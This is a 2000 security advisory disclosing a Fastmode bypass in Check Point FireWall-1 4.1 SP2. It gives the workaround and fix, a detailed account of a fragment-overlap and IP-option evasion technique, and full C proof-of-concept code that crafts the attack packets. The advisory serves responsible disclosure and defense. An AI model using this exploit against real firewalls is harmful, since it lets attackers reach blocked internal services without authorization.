FireWall-1 Fastmode Vulnerability

[Thomas Lopatic <thomas () LOPATIC DE>]

Hi there,

service pack 3 is available for FireWall-1 4.1 and in addition
to the things listed in the release notes it fixes the following
little... errrrm... idiosyncrasy.

The HTML version of the advisory is available at

        http://www.dataprotect.com/fw1/

Merry Christmas and a happy New Year
-Thomas

-------- cut here --------

Fastmode Vulnerability in VPN-1/FireWall-1 4.1 SP2

TUV data protect GmbH - Advisory #3
http://www.dataprotect.com

TUV data protect is a TUV Rheinland/Berlin-Brandenburg affiliate.

Thomas Lopatic <lopatic () tuv net>

December 18, 2000


Summary
-------

A vulnerability exists in Check Point VPN-1/FireWall-1 4.1 SP2 that
enables an attacker to establish connections to blocked TCP services
through the firewall in certain configurations.

We expect many deployed FireWall-1 installations to be immune to this
attack. But we also think that the beauty inherent to the applied
exploit technique would justify an advisory by itself alone.


Fix Information
---------------

* Workaround

Disable the Fastmode property for all protocols.

Note: Fastmode is disabled by default, and is enabled only if the
firewall administrator has specifically changed the TCP property for a
protocol. To verify this setting, select a protocol from the
"Manage->Services" menu in the Policy Editor by double-clicking on the
protocol or clicking the "Edit" button. Make sure the "FastMode" box
at the bottom of the TCP Service Properties window is not checked.

Disabling Fastmode removes all known vulnerabilities.

* Official Fix

This vulnerability is fixed in VPN-1/FireWall-1 4.1 SP3, which is
available now.


Thanks
------

We would like to thank Check Point Software Technologies Ltd. for
their quick and competent response to this problem and their
co-operation on this advisory.

We would also like to thank John McDonald and Dug Song for
inspiration on the idea of adding invalid IP options to datagrams.


Impact
------

* In a nutshell

If we use Fastmode and allow access to a single TCP service, all TCP
services on the same machine become accessible.

In addition, all TCP services on machines that are at least one hop
away from the firewall become accessible, too, if these machines are
located behind the same firewall interface as the machine mentioned
above.

That means, for example, that once you open a service in your DMZ to
the Internet, all services in the DMZ may become accessible to the
Internet. And once you open a service in your intranet to the DMZ
(suppose the web server needs to access a DBMS or the mail server has
to forward mail to the intranet), all services in the intranet may
become accessible to the DMZ.

Thus, an attacker might be able to work his way from the Internet
through the DMZ to the intranet.

Depending on your topology, this problem can be harmless or fatal.

* In full detail

Connections to arbitrary TCP services at an IP address X can be
established, if

1) at least one service in the rulebase is a Fastmode service

AND

    2.1) the rulebase grants the attacker legitimate access to at
         least one TCP service at address X.

    OR

    2.2) a. the rulebase grants the attacker legitimate access to at
            least one TCP service at an arbitrary address Y

         AND

         b. address X is at least one hop away from the firewall

         AND

         c. address X is located behind the same firewall
            interface as address Y.


Details
-------

As we know, if a certain service is defined to be a Fastmode service,
then all non-SYN packets with a source or destination port equal to
the Fastmode service will be accepted by the firewall. Only SYN
packets are still passed through the inspection engine.

Version 4.1 SP2 does not include a minimal length check for the first
fragment of a TCP packet anymore. Instead, when examining TCP ports
and TCP flags, it copies the TCP header from the linked list of
fragments to a contiguous memory buffer. Thus, if we fragment the 20
byte TCP header into three 8 byte + 8 byte + 4 byte fragments, FW-1
will still interpret the TCP header correctly. This is the major
difference to prior versions. In prior versions, the inspection engine
made sure that the first fragment had a length of at least 40 bytes
and then performed the rulebase checks (TCP ports, TCP flags) directly
in the mbuf of the first fragment. No copying.

What can we do with this? As stated above, the attack needs two things
in order to succeed: a) a Fastmode service and b) an open port at a
certain IP address. Let us assume that we have a web server with port
80 open to the public. Suppose that the administrator has made port 80
a Fastmode service, in order to improve firewall performance.

We now send two fragmented TCP packets, packet A and packet
B. Fragment #1 of these packets contains the first 8 bytes of the
respective TCP header, fragment #2 contains the next 8 bytes, and
fragment #3 contains the remaining 4 bytes.

Packet A is an ACK packet with a source port equal to the Fastmode
service, i.e. a source port of 80. The destination port of this packet
is the blocked service that we want to get a SYN to. Let us assume it
is 32775. Suppose A1, A2 and A3 are the three fragments of packet
A. They now contain the following information.

A1: ports (80 -> 32775)
A2: flags (ACK)
A3: ...

This packet will be accepted, because the source port is a Fastmode
service and it is not a SYN packet.

Packet B is a SYN packet with a non-privileged source port,
e.g. 1024. The destination port of this packet is the service which is
open to the outside world, i.e. 80. So, the fragments of packet B
contain the following information.

B1: ports (1024 -> 80)
B2: flags (SYN)
B3: ...

This fragment will be accepted, because it is accepted by the
rulebase.

For both fragment sets we choose the same IP id. And what we want to
end up with is that the destination host of the fragments drops A2,
B1, and B3. Because then the firewall will accept two harmless packets
that will be combined into a single not so harmless packet at the
destination, as in

A1: ports (80 -> 32775)
B2: flags (SYN)
A3: ...

So, we have to somehow malform A2, B1, and B3. However, the fragments
must not be malformed when we send them. Otherwise the intermediate
routers between us and the final destination would detect the
malformation and drop our fragments. Therefore we use a timestamp IP
option that will overflow right at the destination host. In this way,
all intermediate routers between us and the destination will see
intact packets with a valid timestamp option. The destination,
however, will see that the timestamp IP option has been completely
used up by the previous hop and thus consider the option to be invalid
and drop the fragment.

We can do this for any non-first fragment. For first fragments FW-1
ensures that they start with 0x45, i.e. that they do not contain any
options.

Now we can make the destination drop A2 and B3. And with BSD
semantics, a second fragment that has the same offset as a fragment in
the reassembly queue will be overlapped by the fragment in the
reassembly queue, i.e. it will potentially be discarded. Hence, if we
send packet A before packet B, B1 will be dropped because A1 already
exists in the reassembly queue and has the same offset and length.

For destination hosts which overlap fragments the other way around, we
would have to send packet B before packet A.

And that is basically it. We sneak a SYN through the firewall from a
Fastmode port to any other port at the same IP address as the port
that is open to the outside. All remaining non-SYNs will be accepted,
because they contain a Fastmode service as their source port (our
packets) or destination port (reply packets).

To extend the attack to hosts that are at least one hop away from the
firewall, we can use source routing to have the hop behind the
firewall rewrite the destination address of fragment B2 to anything we
want. Thus we can redirect the SYN fragment to any IP address after it
has passed the firewall.

We have attached pretty ugly demonstration source code for
Linux. Depending on what you do with it, it might need a little
patching of the anti-spoofing parts of your kernel to work
properly. It seems that anti-spoofing for local addresses cannot be
disabled in /proc. Consider it to be proof of concept code.

The extension to attack other hosts that are at least one hop away
from the firewall is not implemented in the code.


Demonstration Source Code
-------------------------

#define _BSD_SOURCE

#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>

struct pseudo {
  unsigned long source;
  unsigned long dest;
  unsigned char zero;
  unsigned char proto;
  unsigned short len;
};

/*
 *      -------------------- config --------------------
 */

static char tap_device[] = "/dev/tap0";

static char local_ip_addr[] = "172.16.0.1";

static unsigned char dst_mac_addr[] = {
  0xfe, 0xfd, 0x00, 0x00, 0x00, 0x00
};

static int num_hops = 1;

/*
 *     ------------------------------------------------
 */

static void hex_dump(unsigned char *buff, int len)
{
  int i, k;

  for (i = 0; i < len; i += k) {
    printf("%.4x: ", i);
    for (k = 0; i + k < len && k < 16; k++)
      printf("%.2x ", buff[i + k]);
    while (k++ < 16)
      printf("   ");
    for (k = 0; i + k < len && k < 16; k++)
      if (buff[i + k] >= 32 && buff[i + k] <= 126)
        printf("%c", buff[i + k]);
      else
        printf(".");
    printf("\n");
  }
}

int full_write(int f, char *data, int len)
{
  int res;

  while (len > 0) {
    if ((res = write(f, data, len)) < 0)
      return res;
    len -= res;
    data += res;
  }

  return 0;
}

static u_short calc_sum(u_short start, u_short *buff, int bytelen)
{
  u_long sum = start;
  u_short last = 0;
  int wordlen;

  wordlen = bytelen / 2;
  bytelen &= 1;

  while (wordlen--)
    sum += *buff++;

  if (bytelen) {
    *((u_char *)&last) = *((u_char *)buff);
    sum += last;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum = (sum >> 16) + (sum & 0xffff);

  return sum;
}

static void usage()
{
  fprintf(stderr, "usage: frag v-addr f-port o-port v-port\n");
}

int main(int ac, char *av[])
{
  int t;
  unsigned char dgram[136];
  struct ether_header eh;
  unsigned char iph_buff[60];
  struct ip *iph;
  unsigned char tcph_buff[60];
  struct tcphdr *tcph;
  unsigned long la, va;
  unsigned short fp, op, vp;
  struct pseudo ph;
  unsigned short fid;

  if (ac != 5) {
    usage();
    return 1;
  }

  if ((va = inet_addr(av[1])) == (unsigned long)-1) {
    fprintf(stderr, "invalid victim address given\n");
    usage();
    return 1;
  }

  if (!(fp = htons(atoi(av[2])))) {
    fprintf(stderr, "invalid fastmode port given\n");
    usage();
    return 1;
  }

  if (!(op = htons(atoi(av[3])))) {
    fprintf(stderr, "invalid open port given\n");
    usage();
    return 1;
  }

  if (!(vp = htons(atoi(av[4])))) {
    fprintf(stderr, "invalid victim port given\n");
    usage();
    return 1;
  }

  la = inet_addr(local_ip_addr);

  fid = (unsigned short)getpid();

  iph = (struct ip *)iph_buff;
  tcph = (struct tcphdr *)tcph_buff;

  if ((t = open(tap_device, O_RDWR)) < 0) {
    perror("open");
    return 2;
  }

  /*
   *      -------------------- PACKET #1 --------------------
   */

  ph.source = la;
  ph.dest = va;
  ph.zero = 0;
  ph.proto = IPPROTO_TCP;
  ph.len = htons(20);

  tcph->th_sport = fp;
  tcph->th_dport = vp;
  tcph->th_seq = htonl(0x19711219);
  tcph->th_ack = htonl(0x19720201);
  tcph->th_x2 = 0;
  tcph->th_off = 5;
  tcph->th_win = htons(16384);
  tcph->th_urp = htons(0);

  tcph->th_flags = TH_SYN;

  /*
   *      Must be the "with SYN" checksum. The ACK will be overwritten
   *      by the second packet.
   */

  tcph->th_sum = 0;
  tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
                          (u_short *)tcph, ntohs(ph.len));

  tcph->th_flags = TH_ACK;

  iph->ip_v = IPVERSION;
  iph->ip_tos = 0;
  iph->ip_id = htons(fid);
  iph->ip_ttl = 64;
  iph->ip_p = IPPROTO_TCP;
  iph->ip_src.s_addr = la;
  iph->ip_dst.s_addr = va;

  memcpy(eh.ether_dhost, dst_mac_addr, 6);
  memset(eh.ether_shost, 0, 6);
  eh.ether_type = htons(ETHERTYPE_IP);

  dgram[0] = dgram[1] = 0;
  memcpy(dgram + 2, &eh, 14);

  /*
   *      ---------- Fragment #1 ----------
   */

  iph->ip_hl = 5;
  iph->ip_len = htons(28);
  iph->ip_off = htons(IP_MF);
  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);

  memcpy(dgram + 16, iph_buff, 20);
  memcpy(dgram + 36, tcph_buff, 8);

  hex_dump(dgram, 44); printf("\n");

  if (full_write(t, dgram, 44) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  /*
   *      ---------- Fragment #2 ----------
   */

  iph->ip_hl = 6;
  iph->ip_len = htons(32);
  iph->ip_off = htons(1 | IP_MF);

  iph_buff[20] = 68;
  iph_buff[21] = 4;
  iph_buff[22] = 5;
  iph_buff[23] = (15 - num_hops) << 4;

  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);

  memcpy(dgram + 16, iph_buff, 24);
  memcpy(dgram + 40, tcph_buff + 8, 8);

  hex_dump(dgram, 48); printf("\n");


  if (full_write(t, dgram, 48) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  /*
   *      ---------- Fragment #3 ----------
   */

  iph->ip_hl = 6;
  iph->ip_len = htons(28);
  iph->ip_off = htons(2);

  iph_buff[20] = 1;
  iph_buff[21] = 1;
  iph_buff[22] = 1;
  iph_buff[23] = 1;

  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);

  memcpy(dgram + 16, iph_buff, 24);
  memcpy(dgram + 40, tcph_buff + 16, 4);

  hex_dump(dgram, 44); printf("\n");

  if (full_write(t, dgram, 44) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  /*
   *      -------------------- PACKET #2 --------------------
   */

  getchar();

  tcph->th_sport = htons(1024);
  tcph->th_dport = op;
  tcph->th_flags = TH_SYN;

  /*
   * But then again, the fragment with the checksum will be dropped anyway...
   */

  tcph->th_sum = 0;
  tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
                          (u_short *)tcph, ntohs(ph.len));

  /*
   *      ---------- Fragment #1 ----------
   */

  iph->ip_hl = 5;
  iph->ip_len = htons(28);
  iph->ip_off = htons(IP_MF);
  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);

  memcpy(dgram + 16, iph_buff, 20);
  memcpy(dgram + 36, tcph_buff, 8);

  hex_dump(dgram, 44); printf("\n");

  if (full_write(t, dgram, 44) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  /*
   *      ---------- Fragment #2 ----------
   */

  iph->ip_hl = 6;
  iph->ip_len = htons(32);
  iph->ip_off = htons(1 | IP_MF);

  iph_buff[20] = 1;
  iph_buff[21] = 1;
  iph_buff[22] = 1;
  iph_buff[23] = 1;

  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);

  memcpy(dgram + 16, iph_buff, 24);
  memcpy(dgram + 40, tcph_buff + 8, 8);

  hex_dump(dgram, 48); printf("\n");


  if (full_write(t, dgram, 48) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  /*
   *      ---------- Fragment #3 ----------
   */

  iph->ip_hl = 6;
  iph->ip_len = htons(28);
  iph->ip_off = htons(2);

  iph_buff[20] = 68;
  iph_buff[21] = 4;
  iph_buff[22] = 5;
  iph_buff[23] = (15 - num_hops) << 4;

  iph->ip_sum = 0;
  iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);

  memcpy(dgram + 16, iph_buff, 24);
  memcpy(dgram + 40, tcph_buff + 16, 4);

  hex_dump(dgram, 44); printf("\n");

  if (full_write(t, dgram, 44) < 0) {
    perror("write");
    close(t);
    return 3;
  }

  close(t);

  return 0;
}